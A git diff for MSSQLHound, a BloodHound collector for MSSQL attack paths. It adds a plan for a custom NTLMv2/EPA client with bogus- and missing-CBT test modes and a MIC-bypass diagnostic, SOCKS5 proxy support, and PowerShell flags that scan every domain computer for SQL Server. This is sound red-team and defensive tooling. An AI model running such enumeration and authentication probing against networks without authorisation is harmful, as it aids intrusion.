diff --git a/.claude/plans/tds_epa_support.md b/.claude/plans/tds_epa_support.md new file mode 100644 index 0000000..498c6d9 --- /dev/null +++ b/.claude/plans/tds_epa_support.md @@ -0,0 +1,96 @@ +# Summary: TDS 8.0 + EPA Support in MSSQLHound + +## Problem + +When SQL Server has EPA (Extended Protection for Authentication) set to "Required", NTLM authentication must include channel binding tokens (CBT) that tie the auth to the TLS session. `go-mssqldb`'s built-in NTLM does NOT support EPA. Additionally, Go's `crypto/tls` `VerifyConnection` callback fires before TLS Finished messages, making `TLSUnique` always zero — so even a custom provider can't get the correct CBT through normal go-mssqldb hooks. + +## Changes by File (12 files, ~1300 lines added) + +### 1. New: `go/internal/mssql/ntlm_auth.go` — Custom NTLMv2 with EPA AV_PAIRs + +Full NTLMv2 implementation with controllable AV_PAIRs: +- **MsvAvChannelBindings**: 16-byte MD5 of `SEC_CHANNEL_BINDINGS` structure using `tls-unique:` prefix + TLS Finished bytes +- **MsvAvTargetName**: SPN (e.g. `MSSQLSvc/hostname:1433`) encoded as UTF-16LE +- **MsvAvFlags**: Bit indicating MIC is present +- **MIC**: HMAC-MD5 over Type1+Type2+Type3 messages, keyed by session base key +- Five test modes: Normal, BogusCBT, MissingCBT, BogusService, MissingService +- Three diagnostic flags: `disableMIC`, `useRawTargetInfo`, `useClientTimestamp` +- Key fix: uses user-provided domain (not server's NetBIOS domain) for NTLMv2 hash, matching Windows SSPI/impacket behavior +- Key fix: real LMv2 response (not zeros), server's negotiate flags echoed in Type3 + +### 2. New: `go/internal/mssql/epa_auth_provider.go` — go-mssqldb Auth Bridge + +Implements `integratedauth.Provider` to plug custom NTLM into go-mssqldb: +- `SetCBT(cbt)` — called from TLS dialer after handshake completes +- `SetSPN(spn)` — called before connection +- `GetIntegratedAuthenticator(config)` — creates `ntlmAuth` instance with stored CBT +- Registered as `"epa-ntlm"` via `integratedauth.SetIntegratedAuthenticationProvider` + +### 3. `go/internal/mssql/tds_transport.go` — TLS-over-TDS Handshake + +- `tlsOverTDSConn`: wraps TLS records inside TDS PRELOGIN packets for the TLS handshake phase +- `switchableConn`: swaps from TDS-wrapped to raw TCP after handshake +- `performTLSHandshake()`: standard TLS-in-TDS for TDS 7.x +- `performDirectTLSHandshake()`: raw TLS on socket for TDS 8.0 strict +- Both capped at TLS 1.2 — SQL Server SChannel does NOT accept `tls-server-end-point` for EPA, only `tls-unique` (which TLS 1.3 removed) + +### 4. `go/internal/mssql/epa_tester.go` — EPA Detection Engine + +Raw TDS+TLS+NTLM login attempts to determine EPA enforcement: +- `runEPATest()`: standard encryption path (PRELOGIN → TLS-in-TDS → LOGIN7) +- `runEPATestStrict()`: TDS 8.0 strict path (direct TLS → PRELOGIN → LOGIN7) +- Logic: Normal login succeeds? BogusCBT fails? MissingCBT fails? → Required/Allowed/Not Supported +- Auto-diagnostics on failure: raw NTLM baseline, client timestamp test, MIC bypass test +- SOCKS5 proxy support with DNS pre-resolution + +### 5. `go/internal/mssql/client.go` — Connection Strategy Overhaul (largest change) + +**Two custom dialers solve the TLSUnique problem:** + +| Dialer | When Used | How It Works | +|--------|-----------|-------------| +| `epaTLSDialer` | TDS 8.0 strict + EPA | TCP → direct TLS (ALPN `tds/8.0`) → capture TLSUnique → return `*tls.Conn` | +| `epaTDSDialer` | Standard encryption + EPA | TCP → PRELOGIN → TLS-in-TDS → capture TLSUnique → return `preloginFakerConn` | + +**`preloginFakerConn`**: intercepts go-mssqldb's PRELOGIN write (discards it), returns fake response with `encryption=NOT_SUP`, then passes through. This prevents double-TLS since go-mssqldb uses `encrypt=disable`. + +**Connection strategy order:** +1. EPA+strict-TLS (if strict encryption detected) +2. EPA+TDS-TLS (if EPA required/allowed, non-strict) +3. Regular strategy loop: FQDN+encrypt, FQDN+strict, FQDN+encrypt+SPN, FQDN+no-encrypt, short+encrypt, short+strict, short+no-encrypt +4. PowerShell fallback (Windows only, not available through proxy) + +### 6. `go/internal/collector/collector.go` — EPA Pre-Check + Proxy Wiring + +- Runs `client.TestEPA(ctx)` **before** `client.Connect(ctx)` so the EPA result is available for dialer selection +- Factory methods `newADClient()` / `newMSSQLClient()` inject proxy dialer uniformly +- `ProxyAddr` field in `Config` + +### 7. `go/internal/ad/client.go` — LDAP Through Proxy + +- `dialLDAP()` method routes LDAP connections through SOCKS5 proxy +- DNS resolver rebuilt to route TCP DNS queries through proxy +- Replaces all `ldap.DialURL()` calls + +### 8. `go/cmd/mssqlhound/main.go` — CLI Flags + +- `--proxy` flag: SOCKS5 proxy address +- DNS resolver configured to route through proxy when both specified +- Warning messages about SQL Browser UDP limitation + +### 9. New: `go/internal/proxydialer/` — Shared SOCKS5 Dialer + +Centralizes SOCKS5 dialer creation, used by mssql, ad, and collector packages. + +### 10. New: `go/internal/mssql/ntlm_auth_test.go` — Unit Tests + +Tests for NTLMv2 hash, NTProofStr, MIC, CBT hash (both binding types), full exchange, UTF-16LE encoding. + +## Key Technical Insight + +``` +EPA test (raw TLS): TLSUnique = 49a30ec6880a7f38e6301a77 ← correct, auth succeeds +go-mssqldb VerifyConn: TLSUnique = 000000000000000000000000 ← all zeros, auth fails +``` + +Go's `VerifyConnection` fires during `doFullHandshake()` → BEFORE `sendFinished()` sets `firstFinished`. The solution: do TLS ourselves in custom dialers, call `ConnectionState().TLSUnique` after `Handshake()` fully completes. diff --git a/MSSQLHound.ps1 b/MSSQLHound.ps1 index 838c2d2..e92aa99 100644 --- a/MSSQLHound.ps1 +++ b/MSSQLHound.ps1 @@ -129,6 +129,21 @@ Switch/Flag: - On: Try to install the ActiveDirectory module for PowerShell if it is not already installed - Off (default): Do not try to install the ActiveDirectory module for PowerShell if it is not already installed. Rely on DirectoryServices, ADSISearcher, DirectorySearcher, and NTAccount.Translate() for object resolution. +.PARAMETER SkipPrivateAddress +Switch/Flag: + - On: Skip the private IP address check when resolving domains. Use this when the DC has a public IP but you still want to resolve SIDs. + - Off (default): Only resolve SIDs for domains that resolve to private IP addresses (RFC 1918). + +.PARAMETER ScanAllComputers +Switch/Flag: + - On: In addition to computers with MSSQL SPNs, also attempt MSSQL collection against ALL other domain computers. Useful for finding SQL Server instances without registered SPNs. + - Off (default): Only scan computers with MSSQLSvc SPNs registered in Active Directory. + +.PARAMETER SkipADNodeCreation +Switch/Flag: + - On: Skip creating User, Group, and Computer nodes (useful when you already have these from BloodHound/SharpHound). Edges to these objects will still be created and matched by ObjectIdentifier/SID. + - Off (default): Create all nodes including User, Group, and Computer nodes. + .PARAMETER LinkedServerTimeout Give up enumerating linked servers after X seconds @@ -174,6 +189,18 @@ Enumerate SPNS in the Active Directory domain for current logon context, then co .\MSSQLHound.ps1 -IncludeNontraversableEdges Enumerate SPNS in the Active Directory domain for current logon context, then collect data from each server with an SPN, including non-traversable edges +.EXAMPLE +.\MSSQLHound.ps1 -ScanAllComputers +Enumerate MSSQL SPNs and also attempt collection against all other domain computers (useful for finding SQL instances without registered SPNs) + +.EXAMPLE +.\MSSQLHound.ps1 -SkipADNodeCreation +Enumerate SPNs and collect data, but skip creating User, Group, and Computer nodes (useful when you already have these from BloodHound/SharpHound) + +.EXAMPLE +.\MSSQLHound.ps1 -ScanAllComputers -SkipADNodeCreation +Scan all domain computers for MSSQL instances while skipping AD node creation to avoid conflicts with existing BloodHound data + .LINK https://github.com/SpecterOps/MSSQLHound @@ -259,6 +286,16 @@ param( [switch]$InstallADModule,#=$true, + # Skip private IP address validation for domain resolution + # Use this when the DC has a public IP but you still want to resolve SIDs + [switch]$SkipPrivateAddress, + + # Scan all domain computers for MSSQL instances, not just those with SPNs + [switch]$ScanAllComputers, + + # Skip creating AD principal nodes (User, Group, Computer) - useful when using with BloodHound/SharpHound data + [switch]$SkipADNodeCreation, + [int]$LinkedServerTimeout = 300, # seconds # File size limit to stop enumeration (e.g., "1GB", "500MB", "2.5GB") @@ -281,6 +318,7 @@ $script:ScriptVersion = "1.0" $script:ScriptName = "MSSQLHound" $script:Domain = $Domain $script:DomainController = $DomainController +$script:SkipPrivateAddress = $SkipPrivateAddress # Handle version request if ($Version) { @@ -4097,7 +4135,12 @@ function Test-DomainResolution { } } - $isValid = $privateIPs.Count -gt 0 + # If SkipPrivateAddress is set, consider valid if any IPs resolve (private or public) + if ($script:SkipPrivateAddress) { + $isValid = ($privateIPs.Count -gt 0) -or ($publicIPs.Count -gt 0) + } else { + $isValid = $privateIPs.Count -gt 0 + } # Cache the result $script:DomainResolutionCache[$domainLower] = @{ @@ -4108,7 +4151,12 @@ function Test-DomainResolution { } if ($isValid) { - Write-Verbose "Domain '$Domain' resolves to private IP(s): $($privateIPs -join ', ')" + if ($privateIPs.Count -gt 0) { + Write-Verbose "Domain '$Domain' resolves to private IP(s): $($privateIPs -join ', ')" + } + if ($publicIPs.Count -gt 0 -and $script:SkipPrivateAddress) { + Write-Verbose "Domain '$Domain' resolves to public IP(s): $($publicIPs -join ', ') - allowed due to -SkipPrivateAddress" + } } else { Write-Verbose "Domain '$Domain' resolves to public IP(s): $($publicIPs -join ', ') - skipping" } @@ -5193,6 +5241,85 @@ function Get-MSSQLServersFromSPNs { } } +# Function to collect all domain computers for MSSQL scanning +function Get-MSSQLServersFromDomainComputers { + param ( + [string]$DomainName = $script:Domain + ) + + try { + Write-Host "Collecting additional domain computers for MSSQL scanning..." -ForegroundColor Cyan + Write-Host "Note: This will also attempt to connect to domain computers without MSSQL SPNs on port 1433" -ForegroundColor Yellow + + # Search for all computer objects in the domain + $searcher = [adsisearcher]"(objectClass=computer)" + if ($DomainName) { + $searcher.SearchRoot = [adsi]"LDAP://$DomainName" + } + $searcher.PageSize = 1000 + $searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name', 'distinguishedName', 'objectSid', 'operatingSystem')) + + $results = $searcher.FindAll() + + Write-Host "`nFound $($results.Count) domain computers" -ForegroundColor Cyan + + $computerCount = 0 + foreach ($result in $results) { + $computerCount++ + + # Get computer name - prefer dNSHostName, fall back to name + $computerName = $null + if ($result.Properties['dnshostname'] -and $result.Properties['dnshostname'][0]) { + $computerName = $result.Properties['dnshostname'][0] + } elseif ($result.Properties['name'] -and $result.Properties['name'][0]) { + $computerName = $result.Properties['name'][0] + # Append domain if we have it + if ($DomainName) { + $computerName = "$computerName.$DomainName" + } + } + + if (-not $computerName) { + continue + } + + # Get computer SID + $computerSid = $null + if ($result.Properties['objectsid'] -and $result.Properties['objectsid'][0]) { + $computerSid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value + } + + if (-not $computerSid) { + Write-Verbose "Skipping $computerName - could not resolve SID" + continue + } + + # Create ObjectIdentifier using default port 1433 + $objectIdentifier = "${computerSid}:1433" + + # Create server object if not already present + if (-not $script:serversToProcess.ContainsKey($objectIdentifier)) { + $script:serversToProcess[$objectIdentifier] = [PSCustomObject]@{ + ObjectIdentifier = $objectIdentifier + ServerName = $computerName + Port = 1433 + InstanceName = $null + ServiceAccountSIDs = @() + ServicePrincipalNames = @() + ServerFullName = "${computerName}:1433" + } + Write-Verbose "Added computer: $computerName" + } + } + + Write-Host "Total servers to scan (SPNs + additional computers): $($script:serversToProcess.Count)" -ForegroundColor Green + } + catch { + Write-Error "Error collecting domain computers: $_" + return @() + } +} + function Get-NestedRoleMembership { param( [Parameter(Mandatory=$true)] @@ -6895,6 +7022,29 @@ function Process-ServerInstance { } } + # If connection failed and server has no MSSQL SPN, skip creating nodes/edges for this server + if ($connectionFailed) { + # Check if this server was discovered via SPN (has ServicePrincipalNames from stored info) + $serverObjectIdentifier = "$serverSid`:$Port" + if ($instanceName -and $instanceName -ne "MSSQLSERVER") { + $serverObjectIdentifier = "$serverSid`:$instanceName" + } + + $storedServerInfo = $null + if ($script:serversToProcess.ContainsKey($serverObjectIdentifier)) { + $storedServerInfo = $script:serversToProcess[$serverObjectIdentifier] + } + + $hasSPN = $storedServerInfo -and $storedServerInfo.ServicePrincipalNames -and $storedServerInfo.ServicePrincipalNames.Count -gt 0 + + if (-not $hasSPN) { + Write-Host "Skipping node/edge creation for $serverName - connection failed and no MSSQL SPN registered" -ForegroundColor Yellow + return $null + } else { + Write-Host "Connection failed but server has MSSQL SPN - creating nodes/edges from SPN data" -ForegroundColor Yellow + } + } + if (-not $connectionFailed) { # Get the FQDN of the SQL Server (remote or local) @@ -8764,178 +8914,190 @@ ORDER BY p.proxy_id } } - # Create Computer node for server - $computer = Resolve-DomainPrincipal $serverHostname - if ($computer.SID) { - Add-Node -Id $computer.ObjectIdentifier ` - -Kinds @("Computer", "Base") ` - -Properties @{ - name = $computer.Name - distinguishedName = $computer.DistinguishedName - DNSHostName = $computer.DNSHostName - domain = $computer.Domain - isDomainPrincipal = $computer.IsDomainPrincipal - isEnabled = $computer.Enabled - SAMAccountName = $computer.SamAccountName - SID = $computer.SID - userPrincipalName = $computer.UserPrincipalName - } - } - - # Create Base nodes for service accounts - foreach ($serviceAccount in $serverInfo.ServiceAccounts) { - if ($serviceAccount.ObjectIdentifier) { - Add-Node -Id $serviceAccount.ObjectIdentifier ` - -Kinds @($serviceAccount.Type, "Base") ` - -Properties @{ - name = $serviceAccount.Name - distinguishedName = $serviceAccount.DistinguishedName - DNSHostName = $serviceAccount.DNSHostName - domain = $serviceAccount.Domain - isDomainPrincipal = $serviceAccount.IsDomainPrincipal - isEnabled = $serviceAccount.Enabled - SAMAccountName = $serviceAccount.SamAccountName - SID = $serviceAccount.SID - userPrincipalName = $serviceAccount.UserPrincipalName - } + # Create Computer node for server (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + $computer = Resolve-DomainPrincipal $serverHostname + if ($computer.SID) { + Add-Node -Id $computer.ObjectIdentifier ` + -Kinds @("Computer", "Base") ` + -Properties @{ + name = $computer.Name + distinguishedName = $computer.DistinguishedName + DNSHostName = $computer.DNSHostName + domain = $computer.Domain + isDomainPrincipal = $computer.IsDomainPrincipal + isEnabled = $computer.Enabled + SAMAccountName = $computer.SamAccountName + SID = $computer.SID + userPrincipalName = $computer.UserPrincipalName + } + } + } + + # Create Base nodes for service accounts (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + foreach ($serviceAccount in $serverInfo.ServiceAccounts) { + if ($serviceAccount.ObjectIdentifier) { + Add-Node -Id $serviceAccount.ObjectIdentifier ` + -Kinds @($serviceAccount.Type, "Base") ` + -Properties @{ + name = $serviceAccount.Name + distinguishedName = $serviceAccount.DistinguishedName + DNSHostName = $serviceAccount.DNSHostName + domain = $serviceAccount.Domain + isDomainPrincipal = $serviceAccount.IsDomainPrincipal + isEnabled = $serviceAccount.Enabled + SAMAccountName = $serviceAccount.SamAccountName + SID = $serviceAccount.SID + userPrincipalName = $serviceAccount.UserPrincipalName + } + } } } - # Create Base nodes for credentials + # Create Base nodes for credentials (skip if SkipADNodeCreation is set) Write-Host "Creating domain principal nodes" $createdCredentialBaseNodes = @{} - foreach ($credential in $serverInfo.Credentials) { - if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and - -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) { - - # Determine node type based on credential identity - $nodeKind = $credential.ResolvedType - - Add-Node -Id $credential.ResolvedSID ` - -Kinds @($nodeKind, "Base") ` - -Properties @{ - name = $credential.ResolvedPrincipal.Name - distinguishedName = $credential.ResolvedPrincipal.DistinguishedName - DNSHostName = $credential.ResolvedPrincipal.DNSHostName - domain = $credential.ResolvedPrincipal.Domain - isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal - isEnabled = $credential.ResolvedPrincipal.Enabled - SAMAccountName = $credential.ResolvedPrincipal.SamAccountName - SID = $credential.ResolvedPrincipal.SID - userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName - } - - $createdCredentialBaseNodes[$credential.ResolvedSID] = $true + if (-not $SkipADNodeCreation) { + foreach ($credential in $serverInfo.Credentials) { + if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and + -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) { + + # Determine node type based on credential identity + $nodeKind = $credential.ResolvedType + + Add-Node -Id $credential.ResolvedSID ` + -Kinds @($nodeKind, "Base") ` + -Properties @{ + name = $credential.ResolvedPrincipal.Name + distinguishedName = $credential.ResolvedPrincipal.DistinguishedName + DNSHostName = $credential.ResolvedPrincipal.DNSHostName + domain = $credential.ResolvedPrincipal.Domain + isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal + isEnabled = $credential.ResolvedPrincipal.Enabled + SAMAccountName = $credential.ResolvedPrincipal.SamAccountName + SID = $credential.ResolvedPrincipal.SID + userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName + } + + $createdCredentialBaseNodes[$credential.ResolvedSID] = $true + } } } - # Create Base nodes for database-scoped credentials - foreach ($db in $serverInfo.Databases) { - if ($db.PSObject.Properties.Name -contains "DatabaseScopedCredentials") { - foreach ($credential in $db.DatabaseScopedCredentials) { - if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and - -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) { - - # Determine node type based on credential identity - $nodeKind = $credential.ResolvedType - - Add-Node -Id $credential.ResolvedSID ` - -Kinds @($nodeKind, "Base") ` - -Properties @{ - name = $credential.ResolvedPrincipal.Name - distinguishedName = $credential.ResolvedPrincipal.DistinguishedName - DNSHostName = $credential.ResolvedPrincipal.DNSHostName - domain = $credential.ResolvedPrincipal.Domain - isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal - isEnabled = $credential.ResolvedPrincipal.Enabled - SAMAccountName = $credential.ResolvedPrincipal.SamAccountName - SID = $credential.ResolvedPrincipal.SID - userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName - } - - $createdCredentialBaseNodes[$credential.ResolvedSID] = $true + # Create Base nodes for database-scoped credentials (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + foreach ($db in $serverInfo.Databases) { + if ($db.PSObject.Properties.Name -contains "DatabaseScopedCredentials") { + foreach ($credential in $db.DatabaseScopedCredentials) { + if ($credential.IsDomainPrincipal -and $credential.ResolvedSID -and + -not $createdCredentialBaseNodes.ContainsKey($credential.ResolvedSID)) { + + # Determine node type based on credential identity + $nodeKind = $credential.ResolvedType + + Add-Node -Id $credential.ResolvedSID ` + -Kinds @($nodeKind, "Base") ` + -Properties @{ + name = $credential.ResolvedPrincipal.Name + distinguishedName = $credential.ResolvedPrincipal.DistinguishedName + DNSHostName = $credential.ResolvedPrincipal.DNSHostName + domain = $credential.ResolvedPrincipal.Domain + isDomainPrincipal = $credential.ResolvedPrincipal.IsDomainPrincipal + isEnabled = $credential.ResolvedPrincipal.Enabled + SAMAccountName = $credential.ResolvedPrincipal.SamAccountName + SID = $credential.ResolvedPrincipal.SID + userPrincipalName = $credential.ResolvedPrincipal.UserPrincipalName + } + + $createdCredentialBaseNodes[$credential.ResolvedSID] = $true + } } } } } - # Create nodes for accounts with logins - foreach ($principal in $serverInfo.ServerPrincipals) { - if (($principal.TypeDescription -eq "WINDOWS_LOGIN" -or $principal.TypeDescription -eq "WINDOWS_GROUP") -and - $principal.SecurityIdentifier) { - - # Check conditions for creating Base node - $loginEnabled = $principal.IsDisabled -ne "1" - $permissionToConnect = $false - - foreach ($perm in $principal.Permissions) { - if ($perm.Permission -eq "CONNECT SQL" -and $perm.State -eq "GRANT") { - $permissionToConnect = $true - break + # Create nodes for accounts with logins (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + foreach ($principal in $serverInfo.ServerPrincipals) { + if (($principal.TypeDescription -eq "WINDOWS_LOGIN" -or $principal.TypeDescription -eq "WINDOWS_GROUP") -and + $principal.SecurityIdentifier) { + + # Check conditions for creating Base node + $loginEnabled = $principal.IsDisabled -ne "1" + $permissionToConnect = $false + + foreach ($perm in $principal.Permissions) { + if ($perm.Permission -eq "CONNECT SQL" -and $perm.State -eq "GRANT") { + $permissionToConnect = $true + break + } } - } - - if ($permissionToConnect -and $loginEnabled) { + + if ($permissionToConnect -and $loginEnabled) { - $adObject = Resolve-DomainPrincipal $principal.Name.Split('\')[1] - if (-not $adObject.SID) { - $adObject = Resolve-DomainPrincipal $principal.SecurityIdentifier - } + $adObject = Resolve-DomainPrincipal $principal.Name.Split('\')[1] + if (-not $adObject.SID) { + $adObject = Resolve-DomainPrincipal $principal.SecurityIdentifier + } - # Make sure this is an AD object with a domain SID - if ($adObject.SID -and $adObject.SID -like "S-1-5-21-*") { + # Make sure this is an AD object with a domain SID + if ($adObject.SID -and $adObject.SID -like "S-1-5-21-*") { - Add-Node -Id $adObject.SID ` - -Kinds @($adObject.Type, "Base") ` - -Properties @{ - name = $adObject.Name - distinguishedName = $adObject.DistinguishedName - DNSHostName = $adObject.DNSHostName - domain = $adObject.Domain - isDomainPrincipal = $adObject.IsDomainPrincipal - isEnabled = $adObject.Enabled - SAMAccountName = $adObject.SamAccountName - SID = $adObject.SID - userPrincipalName = $adObject.UserPrincipalName + Add-Node -Id $adObject.SID ` + -Kinds @($adObject.Type, "Base") ` + -Properties @{ + name = $adObject.Name + distinguishedName = $adObject.DistinguishedName + DNSHostName = $adObject.DNSHostName + domain = $adObject.Domain + isDomainPrincipal = $adObject.IsDomainPrincipal + isEnabled = $adObject.Enabled + SAMAccountName = $adObject.SamAccountName + SID = $adObject.SID + userPrincipalName = $adObject.UserPrincipalName + } } } } } } - # Create nodes for local groups with SQL logins - if ($serverInfo.PSObject.Properties.Name -contains "LocalGroupsWithLogins") { - foreach ($groupObjId in $serverInfo.LocalGroupsWithLogins.Keys) { - $groupInfo = $serverInfo.LocalGroupsWithLogins[$groupObjId] - $groupPrincipal = $groupInfo.Principal - - # Create Group node for local machine SID and well-known local SIDs - if ($groupPrincipal.SIDResolved) { - $groupObjectId = "$serverFQDN-$($groupPrincipal.SIDResolved)" + # Create nodes for local groups with SQL logins (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + if ($serverInfo.PSObject.Properties.Name -contains "LocalGroupsWithLogins") { + foreach ($groupObjId in $serverInfo.LocalGroupsWithLogins.Keys) { + $groupInfo = $serverInfo.LocalGroupsWithLogins[$groupObjId] + $groupPrincipal = $groupInfo.Principal + + # Create Group node for local machine SID and well-known local SIDs + if ($groupPrincipal.SIDResolved) { + $groupObjectId = "$serverFQDN-$($groupPrincipal.SIDResolved)" - Add-Node -Id $groupObjectId ` - -Kinds @("Group", "Base") ` - -Properties @{ - name = $groupPrincipal.Name.Split('\')[-1] - } - } - - # Create Base nodes for domain members (already resolved) - foreach ($member in $groupInfo.Members) { + Add-Node -Id $groupObjectId ` + -Kinds @("Group", "Base") ` + -Properties @{ + name = $groupPrincipal.Name.Split('\')[-1] + } + } - Add-Node -Id $member.SID ` - -Kinds @($member.Type, "Base") ` - -Properties @{ - name = $member.Name - distinguishedName = $member.DistinguishedName - DNSHostName = $member.DNSHostName - domain = $member.Domain - isDomainPrincipal = $member.IsDomainPrincipal - isEnabled = $member.Enabled - SAMAccountName = $member.SamAccountName - SID = $member.SID - userPrincipalName = $member.UserPrincipalName - } + # Create Base nodes for domain members (already resolved) + foreach ($member in $groupInfo.Members) { + + Add-Node -Id $member.SID ` + -Kinds @($member.Type, "Base") ` + -Properties @{ + name = $member.Name + distinguishedName = $member.DistinguishedName + DNSHostName = $member.DNSHostName + domain = $member.Domain + isDomainPrincipal = $member.IsDomainPrincipal + isEnabled = $member.Enabled + SAMAccountName = $member.SamAccountName + SID = $member.SID + userPrincipalName = $member.UserPrincipalName + } + } } } } @@ -9305,7 +9467,6 @@ ORDER BY p.proxy_id # Not possible to grant a principal ALTER on fixed roles, so we don't need to check for fixed/user-defined switch ($script:CurrentEdgeContext.targetPrincipal.TypeDescription) { "DATABASE_ROLE" { - Add-Edge -Kind "MSSQL_Alter" Add-Edge -Kind "MSSQL_AddMember" } "APPLICATION_ROLE" { @@ -9938,12 +10099,14 @@ ORDER BY p.proxy_id $groupObjectId = "$serverFQDN-$($groupPrincipal.SecurityIdentifier)" [void]$principalsWithLogin.Add($groupObjectId) - # Add node so we don't get Unknown kind - Add-Node -Id $groupObjectId ` - -Kinds $("Group", "Base") ` - -Properties @{ - name = $groupPrincipal.Name.Split('\')[-1] - } + # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + Add-Node -Id $groupObjectId ` + -Kinds $("Group", "Base") ` + -Properties @{ + name = $groupPrincipal.Name.Split('\')[-1] + } + } Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $groupObjectId } -TargetPrincipal $groupPrincipal -SourceType "Group" -TargetType "MSSQL_Login" @@ -9952,10 +10115,14 @@ ORDER BY p.proxy_id -Target $groupPrincipal.ObjectIdentifier ` -Kind "MSSQL_HasLogin" - # Add edges for group members - Add-Edge -Source $member.SID ` - -Target $groupObjectId ` - -Kind "MemberOf" + # Add MemberOf edges for group members + foreach ($member in $groupInfo.Members) { + if ($member.SID) { + Add-Edge -Source $member.SID ` + -Target $groupObjectId ` + -Kind "MemberOf" + } + } } else { Write-Verbose "Skipping local group $($groupPrincipal.Name) because SID was not found" @@ -9972,12 +10139,14 @@ ORDER BY p.proxy_id $authedUsersObjectId = "$script:Domain`-S-1-5-11" - # Add node for Authenticated Users so we don't get Unknown kind - Add-Node -Id $authedUsersObjectId ` - -Kinds $("Group", "Base") ` - -Properties @{ - name = "AUTHENTICATED USERS@$($script:Domain)" - } + # Add node for Authenticated Users so we don't get Unknown kind (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + Add-Node -Id $authedUsersObjectId ` + -Kinds $("Group", "Base") ` + -Properties @{ + name = "AUTHENTICATED USERS@$($script:Domain)" + } + } Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $authedUsersObjectId } -TargetPrincipal $principal -SourceType "Group" -TargetType "MSSQL_Login" Add-Edge -Source $authedUsersObjectId ` @@ -9999,20 +10168,22 @@ ORDER BY p.proxy_id # Don't create edges from non-domain objects like user-defined local groups and users if ($domainPrincipal.SID) { - # Add node so we don't get Unknown kind - Add-Node -Id $domainPrincipal.SID ` - -Kinds $($domainPrincipal.Type, "Base") ` - -Properties @{ - name = $domainPrincipal.Name - distinguishedName = $domainPrincipal.DistinguishedName - DNSHostName = $domainPrincipal.DNSHostName - domain = $domainPrincipal.Domain - isDomainPrincipal = $domainPrincipal.IsDomainPrincipal - isEnabled = $domainPrincipal.Enabled - SAMAccountName = $domainPrincipal.SamAccountName - SID = $domainPrincipal.SID - userPrincipalName = $domainPrincipal.UserPrincipalName - } + # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + Add-Node -Id $domainPrincipal.SID ` + -Kinds $($domainPrincipal.Type, "Base") ` + -Properties @{ + name = $domainPrincipal.Name + distinguishedName = $domainPrincipal.DistinguishedName + DNSHostName = $domainPrincipal.DNSHostName + domain = $domainPrincipal.Domain + isDomainPrincipal = $domainPrincipal.IsDomainPrincipal + isEnabled = $domainPrincipal.Enabled + SAMAccountName = $domainPrincipal.SamAccountName + SID = $domainPrincipal.SID + userPrincipalName = $domainPrincipal.UserPrincipalName + } + } # Track this principal as having a login [void]$principalsWithLogin.Add($principal.SecurityIdentifier) @@ -10034,13 +10205,15 @@ ORDER BY p.proxy_id # Track this principal as having a login [void]$principalsWithLogin.Add($groupObjectId) - # Add node so we don't get Unknown kind - Add-Node -Id $groupObjectId ` - -Kinds $("Group", "Base") ` - -Properties @{ - name = $principal.Name - isActiveDirectoryPrincipal = $principal.IsActiveDirectoryPrincipal - } + # Add node so we don't get Unknown kind (skip if SkipADNodeCreation is set) + if (-not $SkipADNodeCreation) { + Add-Node -Id $groupObjectId ` + -Kinds $("Group", "Base") ` + -Properties @{ + name = $principal.Name + isActiveDirectoryPrincipal = $principal.IsActiveDirectoryPrincipal + } + } # MSSQL_HasLogin edge Set-EdgeContext -SourcePrincipal @{ ObjectIdentifier = $groupObjectId } -TargetPrincipal $principal -SourceType "Group" -TargetType "MSSQL_Login" @@ -10146,12 +10319,18 @@ if ($ServerInstance) { Write-Host "Added $($listServers.Count) servers from list" -ForegroundColor Green } else { - # Collect MSSQL SPNs from Active Directory if domain is available + # Collect servers from Active Directory if domain is available try { + # Always collect MSSQL SPNs first Get-MSSQLServersFromSPNs + + # If -ScanAllComputers is specified, also add all other domain computers + if ($ScanAllComputers) { + Get-MSSQLServersFromDomainComputers + } } catch { - Write-Warning "Could not collect MSSQL SPNs from Active Directory: $_" + Write-Warning "Could not collect servers from Active Directory: $_" } } diff --git a/README.md b/README.md index 0fc144a..8e8e327 100644 --- a/README.md +++ b/README.md @@ -1,552 +1,552 @@ -# MSSQLHound -image - -A PowerShell collector for adding MSSQL attack paths to [BloodHound](https://github.com/SpecterOps/BloodHound) with [OpenGraph](https://specterops.io/opengraph) by Chris Thompson at [SpecterOps](https://x.com/SpecterOps) - -Introductory blog posts: -- https://specterops.io/blog/2025/08/04/adding-mssql-to-bloodhound-with-opengraph/ -- https://specterops.io/blog/2026/01/20/updates-to-the-mssqlhound-opengraph-collector-for-bloodhound/ - -Please hit me up on the [BloodHound Slack](http://ghst.ly/BHSlack) (@Mayyhem), Twitter ([@_Mayyhem](https://x.com/_Mayyhem)), or open an issue if you have any questions I can help with! - -# Table of Contents - -- [Overview](#overview) - - [System Requirements](#system-requirements) - - [Minimum Permissions](#minimum-permissions) - - [Recommended Permissions](#recommended-permissions) - - [Usage Info](#usage-info) -- [Command Line Options](#command-line-options) -- [Limitations](#limitations) -- [Future Development](#future-development) -- [MSSQL Graph Model](#mssql-graph-model) -- [MSSQL Nodes Reference](#mssql-nodes-reference) - - [Server Level](#server-level) - - [`MSSQL_Server`](#server-instance-mssql_server-node) - - 